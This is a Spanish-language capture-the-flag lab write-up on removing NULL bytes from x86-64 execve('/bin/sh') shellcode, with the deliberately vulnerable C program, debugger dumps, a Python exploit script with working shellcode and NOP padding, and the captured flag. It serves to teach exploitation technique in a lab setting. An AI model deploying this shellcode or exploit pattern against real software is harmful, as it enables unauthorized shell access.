Saltar a contenido

Shellcode Restringido

A menudo, nuestro input comienza su viaje hacia el runtime de un proceso como un string estilo C. En otras ocasiones, nuestro input debe pasar varias verificaciones de formato o lógica antes de llegar a una ubicación vulnerable en el código.

Este nivel te dará práctica navegando el proceso de shellcoding frente a una restricción común: la ausencia requerida de bytes NULL.

Resultados de Aprendizaje Familiarizarte con la modificación de shellcode para cumplir restricciones contextuales


Restricciones de Bytes NULL

La mayoría de las funciones estándar de la biblioteca C que operan en strings usan el byte null (0x00) como terminador. Dejarán de procesar datos una vez que encuentren un byte null.

Esto puede ser problemático para el shellcode, ya que estas funciones de manipulación de strings son a menudo cómo introducimos nuestro shellcode en un proceso en ejecución.

Intenta ejecutar el shellcode a continuación:

shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

Ensamblador del Shellcode original

xor    esi,esi
movabs rbx,0x68732f6e69622f
push   rsi
push   rbx
push   rsp
pop    rdi
push   0x3b
pop    rax
xor    edx,edx
syscall

Código

// gcc -g -I ../includes -O0 -z execstack -fno-stack-protector -no-pie -o nullfree nullfree.c
#include <stdio.h>
#include <string.h>

// Oculto por simplicidad
#include <wargames.h>

void main()
{
    init_wargame();

    printf("------------------------------------------------------------\n");
    printf("--[ Shellcoding - Shellcode Libre de NULL                   \n");
    printf("------------------------------------------------------------\n");

    // Buffer para almacenar input del usuario y shellcode
    char buffer[512] = {};
    char shellcode[512] = {};

    // A menudo el shellcode entrará a un proceso como string
    printf("Ingresa un string: ");
    fgets(buffer, sizeof(buffer), stdin);

    // Las funciones de string como strcpy dejarán de copiar datos al
    // alcanzar el primer byte NULL (el terminador NULL)
    strncpy(shellcode, buffer, sizeof(shellcode));
    memset(buffer, 0, sizeof(buffer));

    // Como resultado, a menudo es necesario escribir shellcode
    // que esté libre de cualquier byte 'NULL' (\x00)
    printf("Llamando lo que debe ser shellcode 'libre de NULL'...\n");
    ((void (*)(void))shellcode)(); // Llamada al shellcode
}

Como se podría haber esperado, el shellcode proporcionado no funcionó "out of the box". Investiguemos esto estableciendo un breakpoint en la instrucción call que ejecuta nuestro shellcode y ejecutando nuestro script de python nuevamente.

wdb> continue
Breakpoint 1: 0x40087a, main+221

Ahora, vamos a volcar el contenido de $rax tanto como instrucciones como datos para ver qué está pasando:

wdb> x/10i $rax
wdb> x/40bx $rax
wdb> x/10i $rax
0x7fffffffe9d0: xor esi, esi
0x7fffffffe9d2: movabs rbx, 0x68732f6e69622f
0x7fffffffe9dc: add byte ptr [rax], al
0x7fffffffe9de: add byte ptr [rax], al
0x7fffffffe9e0: add byte ptr [rax], al
0x7fffffffe9e2: add byte ptr [rax], al
0x7fffffffe9e4: add byte ptr [rax], al
0x7fffffffe9e6: add byte ptr [rax], al
0x7fffffffe9e8: add byte ptr [rax], al
0x7fffffffe9ea: add byte ptr [rax], al

wdb> x/40bx $rax
0x7fffffffe9d0: 0x31 0xf6 0x48 0xbb 0x2f 0x62 0x69 0x6e
0x7fffffffe9d8: 0x2f 0x73 0x68 0x00 0x00 0x00 0x00 0x00
0x7fffffffe9e0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffe9e8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffe9f0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x68732f6e69622f = /bin/sh


Mirando la salida de los dos comandos, podemos ver que solo una pequeña porción de nuestro shellcode original fue copiada al buffer Esto se debe a que strncpy se detiene en los bytes null


Exploit

import interact
import struct

# Empaqueta el entero 'n' en una representación de 8 bytes
def p64(n):
    return struct.pack('Q', n)

# Desempaqueta el string de 8 bytes 's' en un entero de Python
def u64(s):
    return struct.unpack('Q', s)[0]

p = interact.Process()
# data = p.readuntil('\n')
shellcode = b"\x31\xF6\x48\xBB\x2F\x2F\x62\x69\x6E\x2F\x73\x68\x56\x53\x54\x5F\x6A\x3B\x58\x31\xD2\x0F\x05"

# Relleno de NOPs para completar los 511 bytes.
padding = b'\x90' * (511 - len(shellcode))

# Payload final.
payload = shellcode + padding

p.readuntil(b'Enter a string: ')

p.sendline(payload)

p.interactive()

Ensamblador de Shellcode corregido

xor    esi,esi
movabs rbx,0x68732f6e69622f2f
push   rsi
push   rbx
push   rsp
pop    rdi
push   0x3b
pop    rax
xor    edx,edx
syscall

0x68732f6e69622f2f = //bin/sh

Solución

Ese null byte del shellcode original puede ser evitado usando //bin/sh en lugar de /bin/sh. Pues al tener 7 bytes, el resto del registro se llena con ceros automáticamente. Entonces si agregamos una / más se alinea correctamente y no necesitamos el null byte. (Y agregar los NOP al final para completar los 511 bytes). Estos 512 bytes son necesarios porque el buffer del programa es de 512 bytes y strncpy copiará hasta 511 bytes y luego agregará un null byte al final.


 python3 exploit.py

Calling what must be 'NULL-free' shellcode...


>> cat flag

flag{4ll_sh3llc0de_c4n_b3_m4de_null_fr33}

[Process Terminated. Press Enter To Return]
flag{4ll_sh3llc0de_c4n_b3_m4de_null_fr33}